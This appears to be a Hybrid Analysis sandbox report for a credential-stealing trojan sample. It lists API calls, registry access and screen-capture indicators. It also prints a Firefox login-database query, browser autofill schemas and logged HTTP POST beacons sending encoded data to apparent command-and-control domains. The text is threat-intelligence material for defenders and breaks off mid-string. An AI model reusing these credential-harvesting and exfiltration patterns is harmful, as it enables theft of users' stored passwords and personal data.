26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 50:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T495,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 0450c7e6c413… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0450c7e6c413…. Malware family: Trojan.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 18 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0450c7e6c413a63af47c0474a8a8f8e0c63c5acdf098b8e619f437d0cf4d829c","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","0450c7e6c413a63af47c0474a8a8f8e0c63c5acdf098b8e619f437d0cf4d829c"],"about":{"@type":"SoftwareApplication","name":"bounty-54562402545397328","applicationCategory":["peexe","executable"],"identifier":"0450c7e6c413a63af47c0474a8a8f8e0c63c5acdf098b8e619f437d0cf4d829c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":19,"total":25},"behavioralIndicators":{"malicious":18,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T14d7,"bounty-54562402545397328.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007132) "bounty-54562402545397328.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007132)28:T762,Found reference to API (Indicator: "HeapAlloc"; File: "bounty-54562402545397328") Found reference to API (Indicator: "GetLastError"; File: "bounty-54562402545397328") Found reference to API (Indicator: "InitializeCriticalSection"; File: "bounty-54562402545397328") Found reference to API (Indicator: "HeapFree"; File: "bounty-54562402545397328") Found reference to API (Indicator: "WriteConsoleA"; File: "bounty-54562402545397328") Found reference to API (Indicator: "Sleep"; File: "bounty-54562402545397328") Found reference to API (Indicator: "GetFileSize"; File: "bounty-54562402545397328") Found reference to API (Indicator: "GetModuleHandleA"; File: "bounty-54562402545397328") Found reference to API (Indicator: "HeapCreate"; File: "bounty-54562402545397328") Found reference to API (Indicator: "ReadFile"; File: "bounty-54562402545397328") Found reference to API (Indicator: "FreeLibrary"; File: "bounty-54562402545397328") Found reference to API (Indicator: "WriteFile"; File: "bounty-54562402545397328") Found reference to API (Indicator: "HeapDestroy"; File: "bounty-54562402545397328") Found reference to API (Indicator: "ExitProcess"; File: "bounty-54562402545397328") Found reference to API (Indicator: "CloseHandle"; File: "bounty-54562402545397328") Found reference to API (Indicator: "GetCommandLineA"; File: "bounty-54562402545397328") Found reference to API (Indicator: "CreateFileA"; File: "bounty-54562402545397328") Found reference to API (Indicator: "FlushFileBuffers"; File: "bounty-54562402545397328") Found reference to API (Indicator: "GetModuleFileNameA"; File: "bounty-54562402545397328") Found reference to API (Indicator: "HeapReAlloc"; File: "bounty-54562402545397328") Found reference to API (Indicator: "LoadLibraryA"; File: "bounty-54562402545397328") Found reference to API (Indicator: "MessageBoxA"; File: "bounty-54562402545397328")29:T5f1,"bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "")2a:Tb3c,"bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "BOUNTY-54562402545397328.EXE"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSAPPCOMPAT"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSUSERENABLED"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "")2b:T46d,"bounty-54562402545397328.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "bounty-54562402545397328.exe" trying to touch file "C:\bounty-54562402545397328.exe" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\msvcrt.dll" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\win32u.dll" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\ucrtbase.dll" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\msvcp_win.dll" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\gdi32full.dll" "bounty-54562402545397328.exe" trying to touch file "C:\Windows\SysWOW64\gdi32.dll"2c:T553,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007132.00000000.163918.028D0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007132.00000000.163918.028D0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00007132.00000000.163918.028D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007132.00000000.163918.028D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007132.00000000.163918.028D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007132.00000000.163918.028D0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00007132.00000000.163918.028D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007132.00000000.163918.028D0000.00000004.mdmp")2d:T481,Found reference to API "CryptGetUserKey" (Indicator: "CryptGetUserKey"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "CryptExportKey" (Indicator: "CryptExportKey"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "CryptDestroyKey" (Indicator: "CryptDestroyKey"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "CertOpenSystemStoreA" (Indicator: "CertOpenSystemStore"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "CertCloseStore" (Indicator: "CertCloseStore"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp")2e:T169b,Contains base64 string in header "POST" in header "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0Host: criminallawdc.comAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "/default" in header "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0Host: criminallawdc.comAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "Encoding" in header "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0Host: criminallawdc.comAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "identity" in header "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0Host: criminallawdc.comAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "0Content" in header "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0Host: criminallawdc.comAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "closeContent" in header "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0Host: criminallawdc.comAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "Type" in header "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0Host: criminallawdc.comAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "MSIE" in header "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0Host: criminallawdc.comAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "POST" in header "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0Host: choiceonesupport.orgAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "/default" in header "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0Host: choiceonesupport.orgAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "choiceonesupport" in header "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0Host: choiceonesupport.orgAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "Encoding" in header "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0Host: choiceonesupport.orgAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "identity" in header "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0Host: choiceonesupport.orgAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "0Content" in header "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0Host: choiceonesupport.orgAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "closeContent" in header "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0Host: choiceonesupport.orgAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "Type" in header "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0Host: choiceonesupport.orgAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" Contains base64 string in header "MSIE" in header "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0Host: choiceonesupport.orgAccept: */*Accept-Encoding: identity, *;q=0Content-Length: 196Connection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)"2f:T496,"bounty-54562402545397328.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000043c5d1770000657500000000127ad173f00065750200000000000000880000004558cb776cf61800459d8e7500009a00000000008000000002000000000019009c1dcf7380f618006c22cf7380000000d322cf73dcf0cf739cf61800741dcf73dcf0cf7300000000ccf7180000000000 (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb8a75c079730000e0fd7ed30fc87700d0fd7e4cc9180044e0fd7e00000000400000003f0000002900000000e0fd7e40c91800fa0fc8775042d4772900000000e0fd7ed30fc87700d0fd7e64c91800b883c7770021d47794464177d8eb8a75 (UID: 00000000-00002904)30:T422,Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp")31:T534,"bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "UNINSTALLSTRING") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "UNINSTALLSTRING") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "UNINSTALLSTRING") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "UNINSTALLSTRING")32:T1528,"SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" (Source: 10198-300-00408E6A, Indicator: "select hostname, encryptedusername, encryptedpassword from moz_logins") "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" (Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp, Indicator: "select hostname, encryptedusername, encryptedpassword from moz_logins") "CREATE TABLE server_addresses (id VARCHAR, company_name VARCHAR, street_address VARCHAR, address_1 VARCHAR, address_2 VARCHAR, address_3 VARCHAR, address_4 VARCHAR, postal_code VARCHAR, sorting_code VARCHAR, country_code VARCHAR, language_code VARCHAR, recipient_name VARCHAR, phone_number VARCHAR)" (Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp, Indicator: "create table server_addresses (id varchar, company_name varchar, street_address varchar, address_1 varchar, address_2 varchar, address_3 varchar, address_4 varchar, postal_code varchar, sorting_code varchar, country_code varchar, language_code varchar, recipient_name varchar, phone_number varchar)"), "CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR N" (Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp, Indicator: "create table password_notes (id integer primary key autoincrement, parent_id integer not null references logins on update cascade on delete cascade deferrable initially deferred, key varchar n") "CREATE TABLE insecure_credentials (parent_id INTEGER REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, insecurity_type INTEGER NOT NULL, create_time INTEGER NOT NULL, is_muted INTEGER NOT NULL DEFAULT 0, UNIQUE (parent_id, insecurity_type))" (Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp, Indicator: "create table insecure_credentials (parent_id integer references logins on update cascade on delete cascade deferrable initially deferred, insecurity_type integer not null, create_time integer not null, is_muted integer not null default 0, unique (parent_id, insecurity_type))"), "CREATE TABLE autofill_profiles (guid VARCHAR PRIMARY KEY, company_name VARCHAR, street_address VARCHAR, dependent_locality VARCHAR, city VARCHAR, state VARCHAR, zipcode VARCHAR, sorting_code VARCHAR, country_code VARCHAR, date_modified INTEGER NOT NULL DEFAULT 0, origin VARCHAR DEFAULT '', language_code VARCHAR, use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, label VARCHAR, disallow_settings_visible_updates INTEGER NOT NULL DEFAULT 0))" (Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp, Indicator: "create table autofill_profiles (guid varchar primary key, company_name varchar, street_address varchar, dependent_locality varchar, city varchar, state varchar, zipcode varchar, sorting_code varchar, country_code varchar, date_modified integer not null default 0, origin varchar default '', language_code varchar, use_count integer not null default 0, use_date integer not null default 0, label varchar, disallow_settings_visible_updates integer not null default 0))"), "CREATE TABLE ibans (guid VARCHAR PRIMARY KEY, use_count INTEGER NOT 